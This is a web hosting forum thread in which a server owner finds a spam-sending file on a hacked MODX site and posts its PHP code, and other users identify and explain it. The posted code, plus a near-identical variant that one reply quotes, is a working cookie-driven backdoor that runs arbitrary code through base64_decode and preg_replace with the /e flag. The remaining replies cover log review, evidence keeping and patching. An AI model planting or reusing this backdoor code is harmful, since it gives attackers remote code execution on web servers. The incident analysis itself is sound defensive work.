emails sent from server from script placed in a folder

stefanbc

Well-Known Member
Apr 13, 2015
52
0
6
toronto
cPanel Access Level
Root Administrator
Hi,

I recently started getting emails like (see bellow)
I found some files that shouldn't be on the server deleted and patched some security fixes that were not present on the CMS I use.

Is there anything I can do at server level to avoid the sending of emails.

I still don't know how the files that sent the emails were uploaded, maybe an older phpthumb script but I'm monitoring the other projects I have on the server.

Thank you


Posting some of the code I found just in case someone know what it is.

Code:
----

Time:  Thu Jun 11 15:31:25 2015 -0400

Path:  '/home/mysite/public_html/assets/cache'

Count: 101 emails sent


Sample of the first 10 emails:


2015-06-11 15:17:52 cwd=/home/mysite/public_html/assets/cache 4 args: /usr/sbin/sendmail -t -i [email protected]

2015-06-11 15:17:52 cwd=/home/mysite/public_html/assets/cache 4 args: /usr/sbin/sendmail -t -i [email protected]

2015-06-11 15:17:52 cwd=/home/mysite/public_html/assets/cache 4 args: /usr/sbin/sendmail -t -i [email protected]

2015-06-11 15:17:52 cwd=/home/mysite/public_html/assets/cache 4 args: /usr/sbin/sendmail -t -i [email protected]

2015-06-11 15:17:52 cwd=/home/mysite/public_html/assets/cache 4 args: /usr/sbin/sendmail -t -i [email protected]

2015-06-11 15:17:52 cwd=/home/mysite/public_html/assets/cache 4 args: /usr/sbin/sendmail -t -i [email protected]

2015-06-11 15:17:52 cwd=/home/mysite/public_html/assets/cache 4 args: /usr/sbin/sendmail -t -i [email protected]

2015-06-11 15:17:52 cwd=/home/mysite/public_html/assets/cache 4 args: /usr/sbin/sendmail -t -i [email protected]

2015-06-11 15:17:52 cwd=/home/mysite/public_html/assets/cache 4 args: /usr/sbin/sendmail -t -i [email protected]

2015-06-11 15:17:52 cwd=/home/mysite/public_html/assets/cache 4 args: /usr/sbin/sendmail -t -i [email protected]
Possible Scripts:


'/home/mysite/public_html/assets/cache/siteCache.idx.php'


---
Here is the code
---
Code:
<?php   
class     ozgodzyki     {   
    public     function     __construct()     {       
        $jq     =     @$_COOKIE['gqffvuvj3'];   
        if     ($jq)     {   
            $option     =     $jq     (@$_COOKIE['gqffvuvj2'])     ;   
            $au     =     $jq     (     @$_COOKIE['gqffvuvj1'])     ;   
            $option     (     "/438/e"     ,     $au     ,     438     )     ;   
        }     else     {   
            header("HTTP/1.0 404 Not Found");
        }   
    }   
}   
$content     =     new     ozgodzyki;
 
Last edited by a moderator:

dfcs

Registered
Jun 11, 2015
3
0
1
USA
cPanel Access Level
DataCenter Provider
This is definitely malicious PHP code.

A very similar bit of code was found on another server described in http://stackoverflow.com/questions/28461492/execute-php-code-from-cookie

Their code was:

Code:
class PluginJoomla {
  public function __construct() {
  $jq = @$_COOKIE['ContentJQ3'];
  if ($jq) {
  $option = $jq(@$_COOKIE['ContentJQ2']);
  $au=$jq(@$_COOKIE['ContentJQ1']);
  $option("/438/e",$au,438); die();
  }
  else
  phpinfo();die;
  }
}
$content = new PluginJoomla;

An answer there was (change ContentJQ[1-3] to gqffvuvj[1-3] for your code):

"$option("/438/e",$au,438);" means execute $au when $option is preg_replace, because of the /e flag.


With $_COOKIE['ContentJQ3']="base64_decode", $_COOKIE['ContentJQ1']=base64("preg_replace") and $_COOKIE['ContentJQ2']=base64("arbitrary_php_code();"), this in the end executes any php code the hacker likes. It can then be used to download ANY file from your filesystem (that PHP can access; remember open_basedir), do anything you like with your database.
So your website was definitely hacked. My guess is a vulnerability was exploited in your MODx CMS (that filename/path looks like MODx anyways). https://www.exploit-db.com/search/?action=search&description=MODx&e_author= says there's 14 known/public exploits for it.

I would remove siteCache.idx.php immediately, as well as look into your access log to see who's been accessing that file.
 
Last edited by a moderator:

dfcs

Registered
Jun 11, 2015
3
0
1
USA
cPanel Access Level
DataCenter Provider
Err, the moderator accidentally enclosed some of my comments from my last post in code blocks.

Last thing I said was:

"I would remove siteCache.idx.php immediately, as well as look into your access log to see who's been accessing that file."

To determine how the file was uploaded, chances are you can look up the IP address that accessed siteCache.idx.php in the logs and match it up with requests for other php files on the system. If the attacker was mass scanning or using Google to find sites running vulnerable software, the very first request from that IP might be the vulnerable script.

That'll work as long as the attacker wasn't using a different IP for the initial attack than the one used to access siteCache.idx.php. For that you would have to look deeper into your access & error logs for any kind of unusual activity (I.e., hundreds or thousands of requests from the same IP for files that don't exist, or search engine crawler-like behavior from an IP that doesn't match up with any known search engine crawlers).

You should also make sure that any PHP scripts (and addons/plugins/etc.) you're using is the latest version of that script.

There's also the possibility that this was a "0day" exploit (meaning a patch/fix hasn't been released yet to fix the vulnerability). To help lower the chances of those types of exploits from working (at least in PHP scripts), you could use Suhosin and/or ModSecurity.
 

cPanelMichael

Administrator
Staff member
Apr 11, 2011
47,884
2,250
463

quizknows

Well-Known Member
Oct 20, 2009
1,008
87
78
cPanel Access Level
DataCenter Provider
If you find malicious files and you plan on asking your hosting provider to help, don't just remove them right away. This can destroy a lot of the evidence they will need if they are able to assist you. It is generally best to leave things untouched if you plan to hire someone to help so that they can use timestamps of the files to properly hunt through the log files. If you do need to disable the malware it is best to at least "stat" the file first over ssh (i.e. stat whatever.php) and save the output of all timestamps before doing anything else.
 

stefanbc

Well-Known Member
Apr 13, 2015
52
0
6
toronto
cPanel Access Level
Root Administrator
HI,

Just wanted to say the site was compromised on another server, before being moved to the new one, and this probably happened because the MODX Evolution CMS was old and no security updates were done in a few years.

I deleted the files that caused the problem and upgraded the CMS.
 

amdbuilder

Member
PartnerNOC
Feb 5, 2013
14
1
128
Durham, NC
cPanel Access Level
Website Owner
Twitter
There are several known issues with older MODX Evolution and Legacy 0.9.x releases, however if the site is running the current release 1.0.15 there shouldn't be any known issues at this time. Your client can upgrade any of the 0.9.x - 1.0.x releases to the current version directly. You cannot upgrade to Revolution directly, however depending on the site upgrading to Revolution should be difficult for a MODX Developer.

That being said if the site is running 1.0.15 and still being exploited you might want to contact MODX so they can patch the issue. You can find the version in the (prefix)_site_settings table.
 

cPanelMichael

Administrator
Staff member
Apr 11, 2011
47,884
2,250
463
New I'm running the latest Clipper now and I also have the ModSec rules setup. Hopefully that will be enough
I am happy to see you were able to find a suitable solution. Feel free to keep us updated on the outcome.

Thank you.